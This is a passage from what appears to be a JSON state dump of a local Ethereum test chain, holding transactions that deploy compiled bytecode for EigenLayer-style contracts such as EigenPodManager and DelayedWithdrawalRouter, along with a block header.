2e7265636f7264426561636f6e4368616960448201527f6e45544842616c616e63655570646174653a20706f644f776e65722063616e6e6064820152716f74206265207a65726f206164647265737360701b608482015260a40161071d565b61177e633b9aca00836128a3565b156118175760405162461bcd60e51b815260206004820152605a60248201527f456967656e506f644d616e616765722e7265636f7264426561636f6e4368616960448201527f6e45544842616c616e63655570646174653a2073686172657344656c7461206d60648201527f75737420626520612077686f6c65204777656920616d6f756e74000000000000608482015260a40161071d565b6001600160a01b0383166000908152609b60205260408120549061183b84836126ac565b6001600160a01b0386166000908152609b602052604081208290559091506118638383611e0f565b905080156119cb57600081121561192e576001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001663132d49678773beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06118c2856127a5565b6040516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820152606401600060405180830381600087803b15801561191157600080fd5b505af1158015611925573d6000803e3d6000fd5b505050506119cb565b604051631452b9d760e11b81526001600160a01b03878116600483015273beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06024830152604482018390527f000000000000000000000000000000000000000000000000000000000000000016906328a573ae90606401600060405180830381600087803b1580156119b257600080fd5b505af11580156119c6573d6000803e3d6000fd5b505050505b856001600160a01b03166000805160206131f8833981519152866040516119f491815260200190565b60405180910390a25050600160c95550505050565b600054610100900460ff1615808015611a295750600054600160ff909116105b80611a435750303b158015611a43575060005460ff166001145b611aa65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161071d565b6000805460ff191660011790558015611ac9576000805461ff0019166101001790555b611ad2856121b5565b611adb84611fa2565b611ae583836121ff565b8015611b2b576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60975460405163321accf960e11b815267ffffffffffffffff8316600482015260009182916001600160a01b039091169063643599f290602401602060405180830381865afa158015611b89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bad91906128b7565b90508061090b5760405162461bcd60e51b815260206004820152605260248201527f456967656e506f644d616e616765722e676574426c6f636b526f6f744174546960448201527f6d657374616d703a20737461746520726f6f742061742074696d657374616d70606482015271081b9bdd081e595d08199a5b985b1a5e995960721b608482015260a40161071d565b611c45611f48565b6001600160a01b038116611caa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161071d565b6109c181611fa2565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d2a91906126d4565b6001600160a01b0316336001600160a01b031614611d5a5760405162461bcd60e51b815260040161071d906126f1565b606654198119606654191614611dd85760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161071d565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610af8565b6000808313611e2f5760008213611e285750600061090b565b508061090b565b60008213611e4757611e40836127a5565b905061090b565b611e40838361287c565b6001600160a01b038116611edf5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161071d565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b031633146111345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161071d565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6000609960008154612005906128d0565b9091555060408051610940810190915261090e8082526000916120a491839133916128ea6020830139604080516001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166020820152808201919091526000606082015260800160408051601f19818403018152908290526120909291602001612867565b6040516020818303038152906040526122e9565b60405163189acdbd60e31b81523360048201529091506001600160a01b0382169063c4d66de890602401600060405180830381600087803b1580156120e857600080fd5b505af11580156120fc573d6000803e3d6000fd5b50503360008181526098602052604080822080546001600160a01b0319166001600160a01b038816908117909155905192945092507f21c99d0db02213c32fff5b05cf0a718ab5f858802b91498f80d82270289d856a91a3919050565b604080516001600160f81b03196020808301919091526bffffffffffffffffffffffff193060601b16602183015260358201859052605580830185905283518084039091018152607590920190925280519101206000906113d8565b609780546001600160a01b0319166001600160a01b0383169081179091556040517f08f0470754946ccfbb446ff7fd2d6ae6af1bbdae19f85794c0cc5ed5e8ceb4f690600090a250565b6065546001600160a01b031615801561222057506001600160a01b03821615155b6122a25760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26122e582611e51565b5050565b6000808447101561233c5760405162461bcd60e51b815260206004820152601d60248201527f437265617465323a20696e73756666696369656e742062616c616e6365000000604482015260640161071d565b825160000361238d5760405162461bcd60e51b815260206004820181905260248201527f437265617465323a2062797465636f6465206c656e677468206973207a65726f604482015260640161071d565b8383516020850187f590506001600160a01b0381166123ee5760405162461bcd60e51b815260206004820152601960248201527f437265617465323a204661696c6564206f6e206465706c6f7900000000000000604482015260640161071d565b949350505050565b6001600160a01b03811681146109c157600080fd5b6000806040838503121561241e57600080fd5b8235612429816123f6565b946020939093013593505050565b60006020828403121561244957600080fd5b81356113d8816123f6565b60006020828403121561246657600080fd5b5035919050565b60008060006060848603121561248257600080fd5b833561248d816123f6565b9250602084013561249d816123f6565b929592945050506040919091013590565b6000602082840312156124c057600080fd5b813567ffffffffffffffff811681146113d857600080fd5b6000602082840312156124ea57600080fd5b813560ff811681146113d857600080fd5b60008083601f84011261250d57600080fd5b50813567ffffffffffffffff81111561252557600080fd5b60208301915083602082850101111561253d57600080fd5b9250929050565b60008060008060006060868803121561255c57600080fd5b853567ffffffffffffffff81111561257357600080fd5b61257f888289016124fb565b909650945050602086013567ffffffffffffffff81111561259f57600080fd5b6125ab888289016124fb565b96999598509660400135949350505050565b600080600080608085870312156125d357600080fd5b84356125de816123f6565b935060208501356125ee816123f6565b925060408501356125fe816123f6565b9396929550929360600135925050565b602080825260409082018190527f456967656e506f644d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052601260045260246000fd5b6000826126915761269161266c565b500690565b634e487b7160e01b600052601160045260246000fd5b80820182811260008312801582168215821617156126cc576126cc612696565b505092915050565b6000602082840312156126e657600080fd5b81516113d8816123f6565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60006020828403121561274d57600080fd5b815180151581146113d857600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000600160ff1b82016127ba576127ba612696565b5060000390565b8181038181111561090b5761090b612696565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b6060815260006128116060830187896127d4565b82810360208401526128248186886127d4565b9150508260408301529695505050505050565b6000815160005b81811015612858576020818501810151868301520161283e565b50600093019283525090919050565b60006123ee6128768386612837565b84612837565b818103600083128015838313168383128216171561289c5761289c612696565b5092915050565b6000826128b2576128b261266c565b500790565b6000602082840312156128c957600080fd5b5051919050565b6000600182016128e2576128e2612696565b506001019056fe608060405260405161090e38038061090e83398101604081905261002291610460565b61002e82826000610035565b505061058a565b61003e83610100565b6040516001600160a01b038416907f1cf3b03a6cf19fa2baba4df148e9dcabedea7f8a5c07840e207e5c089be95d3e90600090a260008251118061007f5750805b156100fb576100f9836001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e99190610520565b836102a360201b6100291760201c565b505b505050565b610113816102cf60201b6100551760201c565b6101725760405162461bcd60e51b815260206004820152602560248201527f455243313936373a206e657720626561636f6e206973206e6f74206120636f6e6044820152641d1c9858dd60da1b60648201526084015b60405180910390fd5b6101e6816001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101d79190610520565b6102cf60201b6100551760201c565b61024b5760405162461bcd60e51b815260206004820152603060248201527f455243313936373a20626561636f6e20696d706c656d656e746174696f6e206960448201526f1cc81b9bdd08184818dbdb9d1c9858dd60821b6064820152608401610169565b806102827fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d5060001b6102de60201b6100641760201c565b80546001600160a01b0319166001600160a01b039290921691909117905550565b60606102c883836040518060600160405280602781526020016108e7602791396102e1565b9392505050565b6001600160a01b03163b151590565b90565b6060600080856001600160a01b0316856040516102fe919061053b565b600060405180830381855af49150503d8060008114610339576040519150601f19603f3d011682016040523d82523d6000602084013e61033e565b606091505b5090925090506103508683838761035a565b9695505050505050565b606083156103c65782516103bf576001600160a01b0385163b6103bf5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610169565b50816103d0565b6103d083836103d8565b949350505050565b8151156103e85781518083602001fd5b8060405162461bcd60e51b81526004016101699190610557565b80516001600160a01b038116811461041957600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b8381101561044f578181015183820152602001610437565b838111156100f95750506000910152565b6000806040838503121561047357600080fd5b61047c83610402565b60208401519092506001600160401b038082111561049957600080fd5b818501915085601f8301126104ad57600080fd5b8151818111156104bf576104bf61041e565b604051601f8201601f19908116603f011681019083821181831017156104e7576104e761041e565b8160405282815288602084870101111561050057600080fd5b610511836020830160208801610434565b80955050505050509250929050565b60006020828403121561053257600080fd5b6102c882610402565b6000825161054d818460208701610434565b9190910192915050565b6020815260008251806020840152610576816040850160208701610434565b601f01601f19169190910160400192915050565b61034e806105996000396000f3fe60806040523661001357610011610017565b005b6100115b610027610022610067565b610100565b565b606061004e83836040518060600160405280602781526020016102f260279139610124565b9392505050565b6001600160a01b03163b151590565b90565b600061009a7fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50546001600160a01b031690565b6001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100fb9190610249565b905090565b3660008037600080366000845af43d6000803e80801561011f573d6000f35b3d6000fd5b6060600080856001600160a01b03168560405161014191906102a2565b600060405180830381855af49150503d806000811461017c576040519150601f19603f3d011682016040523d82523d6000602084013e610181565b606091505b50915091506101928683838761019c565b9695505050505050565b6060831561020d578251610206576001600160a01b0385163b6102065760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064015b60405180910390fd5b5081610217565b610217838361021f565b949350505050565b81511561022f5781518083602001fd5b8060405162461bcd60e51b81526004016101fd91906102be565b60006020828403121561025b57600080fd5b81516001600160a01b038116811461004e57600080fd5b60005b8381101561028d578181015183820152602001610275565b8381111561029c576000848401525b50505050565b600082516102b4818460208701610272565b9190910192915050565b60208152600082518060208401526102dd816040850160208701610272565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220d51e81d3bc5ed20a26aeb05dce7e825c503b2061aa78628027300c8d65b9d89a64736f6c634300080c0033416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65644e2b791dedccd9fb30141b088cabf5c14a8912b52f59375c95c010700b8c6193456967656e506f644d616e616765722e77697468647261775368617265734173a2646970667358221220399497eab4459a973826c435240cfd79916cb991f3ddb98b84a2d2a19866f8da64736f6c634300081c00330000000000000000000000004242424242424242424242424242424242424242000000000000000000000000b7f8bc63bbcad18155201308c8f3540b07f84f5e000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c853000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9","r":"0x48ff28a0970758e7b26e32ef8daec9409034a77791b721b0ef9a19ae5afe49a8","s":"0x3703ea69fa4e1cc6cc45819dbb8d7bb45db2d00877c921c0f7b3f8bec7ca4c61","yParity":"0x0","hash":"0x28ad3c06a0638a86d07e812df07c67955b5de018fbc6905e076224ee20f458e3"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x12","gas":"0x213d81","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x60a060405234801561001057600080fd5b50604051611eb9380380611eb983398101604081905261002f9161019c565b6001600160a01b0381166100c55760405162461bcd60e51b815260206004820152604c60248201527f44656c617965645769746864726177616c526f757465722e636f6e737472756360448201527f746f723a205f656967656e506f644d616e616765722063616e6e6f742062652060648201526b7a65726f206164647265737360a01b608482015260a4015b60405180910390fd5b6001600160a01b0381166080526100da6100e0565b506101cc565b600054610100900460ff16156101485760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b60648201526084016100bc565b60005460ff908116101561019a576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6000602082840312156101ae57600080fd5b81516001600160a01b03811681146101c557600080fd5b9392505050565b608051611ccb6101ee600039600081816101fa0152610be00152611ccb6000f3fe60806040526004361061014b5760003560e01c806385594e58116100b6578063e4f4f8871161006f578063e4f4f887146103cc578063e5db06c014610405578063eb990c5914610425578063ecb7cb1b14610445578063f2fde38b14610472578063fabc1cbc1461049257600080fd5b806385594e5814610317578063886f1195146103445780638da5cb5b14610364578063c0db354c14610382578063ca661c0414610395578063d44e1b76146103ac57600080fd5b806350f73e7c1161010857806350f73e7c14610254578063595c6a67146102785780635ac86ab71461028d5780635c975abb146102cd578063715018a6146102e257806375608896146102f757600080fd5b806310d67a2f14610150578063136439dd146101725780631f39d87f146101925780633e1de008146101c85780634665bcda146101e85780634d50f9a414610234575b600080fd5b34801561015c57600080fd5b5061017061016b366004611948565b6104b2565b005b34801561017e57600080fd5b5061017061018d36600461196c565b61056e565b34801561019e57600080fd5b506101b26101ad366004611948565b6106ad565b6040516101bf91906119a3565b60405180910390f35b3480156101d457600080fd5b506101b26101e3366004611948565b610893565b3480156101f457600080fd5b5061021c7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016101bf565b34801561024057600080fd5b5061017061024f36600461196c565b6109ce565b34801561026057600080fd5b5061026a60c95481565b6040519081526020016101bf565b34801561028457600080fd5b506101706109df565b34801561029957600080fd5b506102bd6102a83660046119f1565b609854600160ff9092169190911b9081161490565b60405190151581526020016101bf565b3480156102d957600080fd5b5060985461026a565b3480156102ee57600080fd5b50610170610aa6565b34801561030357600080fd5b506102bd610312366004611a14565b610aba565b34801561032357600080fd5b50610337610332366004611a14565b610b3d565b6040516101bf9190611a40565b34801561035057600080fd5b5060975461021c906001600160a01b031681565b34801561037057600080fd5b506033546001600160a01b031661021c565b610170610390366004611a4e565b610bbd565b3480156103a157600080fd5b5061026a62034bc081565b3480156103b857600080fd5b506101706103c736600461196c565b610e7c565b3480156103d857600080fd5b5061026a6103e7366004611948565b6001600160a01b0316600090815260ca602052604090206001015490565b34801561041157600080fd5b50610170610420366004611a14565b610f0e565b34801561043157600080fd5b50610170610440366004611a87565b610fa1565b34801561045157600080fd5b50610465610460366004611948565b6110c9565b6040516101bf9190611acd565b34801561047e57600080fd5b5061017061048d366004611948565b611183565b34801561049e57600080fd5b506101706104ad36600461196c565b6111f9565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610505573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105299190611b25565b6001600160a01b0316336001600160a01b0316146105625760405162461bcd60e51b815260040161055990611b42565b60405180910390fd5b61056b81611355565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156105b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105da9190611b8c565b6105f65760405162461bcd60e51b815260040161055990611bae565b6098548181161461066f5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610559565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6001600160a01b038116600090815260ca6020526040812080546001909101546060926106da8383611c0c565b90508060005b8281101561077c576001600160a01b038716600090815260ca6020526040812060010161070d8388611c1f565b8154811061071d5761071d611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810182905260c95490925061076391611c1f565b431015610773578192505061077c565b506001016106e0565b508060008167ffffffffffffffff81111561079957610799611c48565b6040519080825280602002602001820160405280156107de57816020015b60408051808201909152600080825260208201528152602001906001900390816107b75790505b50905081156108885760005b82811015610886576001600160a01b038916600090815260ca602052604090206001016108178289611c1f565b8154811061082757610827611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810191909152825183908390811061087357610873611c32565b60209081029190910101526001016107ea565b505b979650505050505050565b6001600160a01b038116600090815260ca6020526040812080546001909101546060926108c08383611c0c565b905060008167ffffffffffffffff8111156108dd576108dd611c48565b60405190808252806020026020018201604052801561092257816020015b60408051808201909152600080825260208201528152602001906001900390816108fb5790505b50905060005b828110156109c4576001600160a01b038716600090815260ca602052604090206001016109558287611c1f565b8154811061096557610965611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff169181019190915282518390839081106109b1576109b1611c32565b6020908102919091010152600101610928565b5095945050505050565b6109d661144c565b61056b816114a6565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4b9190611b8c565b610a675760405162461bcd60e51b815260040161055990611bae565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610aae61144c565b610ab8600061156e565b565b6001600160a01b038216600090815260ca60205260408120548210801590610b34575060c9546001600160a01b038416600090815260ca60205260409020600101805484908110610b0d57610b0d611c32565b600091825260209091200154610b309190600160e01b900463ffffffff16611c1f565b4310155b90505b92915050565b60408051808201909152600080825260208201526001600160a01b038316600090815260ca60205260409020600101805483908110610b7e57610b7e611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff16918101919091529392505050565b60405163a38406a360e01b81526001600160a01b038084166004830152839133917f0000000000000000000000000000000000000000000000000000000000000000169063a38406a390602401602060405180830381865afa158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190611b25565b6001600160a01b031614610cc75760405162461bcd60e51b815260206004820152603d60248201527f44656c617965645769746864726177616c526f757465722e6f6e6c794569676560448201527f6e506f643a206e6f7420706f644f776e6572277320456967656e506f640000006064820152608401610559565b609854600090600190811603610cef5760405162461bcd60e51b815260040161055990611c5e565b6001600160a01b038316610d855760405162461bcd60e51b815260206004820152605160248201527f44656c617965645769746864726177616c526f757465722e637265617465446560448201527f6c617965645769746864726177616c3a20726563697069656e742063616e6e6f60648201527074206265207a65726f206164647265737360781b608482015260a401610559565b346001600160e01b03811615610e75576040805180820182526001600160e01b03808416825263ffffffff43811660208085019182526001600160a01b038a16600081815260ca8352968720600190810180548083018255818a5293892088519551909616600160e01b029490961693909317939091019290925593525490917fb8f1b14c7caf74150801dcc9bc18d575cbeaf5b421943497e409df92c92e0f5991889188918691610e3691611c0c565b604080516001600160a01b0395861681529490931660208501526001600160e01b039091169183019190915260608201526080015b60405180910390a1505b5050505050565b600260655403610ece5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610559565b6002606555609854600090600190811603610efb5760405162461bcd60e51b815260040161055990611c5e565b610f0533836115c0565b50506001606555565b600260655403610f605760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610559565b6002606555609854600090600190811603610f8d5760405162461bcd60e51b815260040161055990611c5e565b610f9783836115c0565b5050600160655550565b600054610100900460ff1615808015610fc15750600054600160ff909116105b80610fdb5750303b158015610fdb575060005460ff166001145b61103e5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610559565b6000805460ff191660011790558015611061576000805461ff0019166101001790555b61106a8561156e565b611074848461172b565b61107d826114a6565b8015610e75576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050505050565b6040805180820190915260008152606060208201526001600160a01b038216600090815260ca6020908152604080832081518083018352815481526001820180548451818702810187019095528085529195929486810194939192919084015b8282101561117557600084815260209081902060408051808201909152908401546001600160e01b0381168252600160e01b900463ffffffff1681830152825260019092019101611129565b505050915250909392505050565b61118b61144c565b6001600160a01b0381166111f05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610559565b61056b8161156e565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561124c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112709190611b25565b6001600160a01b0316336001600160a01b0316146112a05760405162461bcd60e51b815260040161055990611b42565b60985419811960985419161461131e5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610559565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016106a2565b6001600160a01b0381166113e35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610559565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b03163314610ab85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610559565b62034bc081111561152d5760405162461bcd60e51b815260206004820152604560248201527f44656c617965645769746864726177616c526f757465722e5f7365745769746860448201527f64726177616c44656c6179426c6f636b733a206e657756616c756520746f6f206064820152646c6172676560d81b608482015260a401610559565b60c95460408051918252602082018390527f4ffb00400574147429ee377a5633386321e66d45d8b14676014b5fa393e61e9e910160405180910390a160c955565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600090815260ca602052604081208054600190910154825b84811080156115f95750816115f78285611c1f565b105b156116a6576001600160a01b038616600090815260ca602052604081206001016116238386611c1f565b8154811061163357611633611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810182905260c95490925061167991611c1f565b43101561168657506116a6565b805161169b906001600160e01b031686611c1f565b9450506001016115e2565b6116b08184611c1f565b6001600160a01b038716600090815260ca602052604090205583156116d9576116d98685611815565b7f6b7151500bd0b5cc211bcc47b3029831b769004df4549e8e1c9a69da05bb094386856117068487611c1f565b604080516001600160a01b039094168452602084019290925290820152606001610e6b565b6097546001600160a01b031615801561174c57506001600160a01b03821615155b6117ce5760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610559565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261181182611355565b5050565b804710156118655760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610559565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146118b2576040519150601f19603f3d011682016040523d82523d6000602084013e6118b7565b606091505b505090508061192e5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610559565b505050565b6001600160a01b038116811461056b57600080fd5b60006020828403121561195a57600080fd5b813561196581611933565b9392505050565b60006020828403121561197e57600080fd5b5035919050565b80516001600160e01b0316825260209081015163ffffffff16910152565b602080825282518282018190526000918401906040840190835b818110156119e6576119d0838551611985565b60209390930192604092909201916001016119bd565b509095945050505050565b600060208284031215611a0357600080fd5b813560ff8116811461196557600080fd5b60008060408385031215611a2757600080fd5b8235611a3281611933565b946020939093013593505050565b60408101610b378284611985565b60008060408385031215611a6157600080fd5b8235611a6c81611933565b91506020830135611a7c81611933565b809150509250929050565b60008060008060808587031215611a9d57600080fd5b8435611aa881611933565b93506020850135611ab881611933565b93969395505050506040820135916060013590565b6020808252825182820152828101516040808401528051606084018190526000929190910190829060808501905b808310156109c457611b0e828551611985565b604082019150602084019350600183019250611afb565b600060208284031215611b3757600080fd5b815161196581611933565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611b9e57600080fd5b8151801515811461196557600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610b3757610b37611bf6565b80820180821115610b3757610b37611bf6565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b60208082526019908201527f5061757361626c653a20696e646578206973207061757365640000000000000060408201526060019056fea264697066735822122006da243d7e477e428ad2745c456c9ef84e039e1a55dc000ea6c524cb236906b864736f6c634300081c00330000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6","r":"0x85fb4b287dcaefd170b3535e1c6965248f335a6e31333c65a076dc23ee98aa3d","s":"0x4975e917021fff9eeda391ad14dc68c415b011dc2ad37c347b5d19ea40d28312","yParity":"0x0","hash":"0x3738015081d40ba03e6a0e030338a2f38282eadb22700ec871dae465fbc46873"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x9f79b7eb183beb5d3fb9b36b6a9708cafdc1c093cdea868fa080716576aac652","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x9938394c71e39f2d168a9282660753394dc54b50ee3281fba99caecbfbe0f9ab","transactionsRoot":"0x6d22cd3dc726dff4f31290d0a164a1381d6b72ae546fe6d60f34c89aa7e73271","receiptsRoot":"0xfe2411014a0ab6a828e99e5c34f33c8c7ed50b6427ed7875ae91175383dab80c","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0xa","gasLimit":"0x1c9c380","gasUsed":"0xcf616","timestamp":"0x67212bff","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x1639fa9d","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x10","gas":"0x10d845","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052348015600f57600080fd5b50604051610ee6380380610ee6833981016040819052602c916049565b5050607e565b6001600160a01b0381168114604657600080fd5b50565b60008060408385031215605b57600080fd5b82516064816032565b60208401519092506073816032565b809150509250929050565b610e598061008d6000396000f3fe608060405234801561001057600080fd5b50600436106101f05760003560e01c80637cf72bba1161010f578063d98128c0116100a2578063e921d4fa11610071578063e921d4fa146103c6578063f2fde38b1461044c578063f73b7519146102a9578063fabc1cbc1461045f57600080fd5b8063d98128c014610430578063da16e29b14610322578063df5cf723146102ba578063e58398361461043e57600080fd5b80638da5cb5b116100de5780638da5cb5b146103b5578063a49db732146103c6578063c747075b146103da578063d7b7fa13146103ee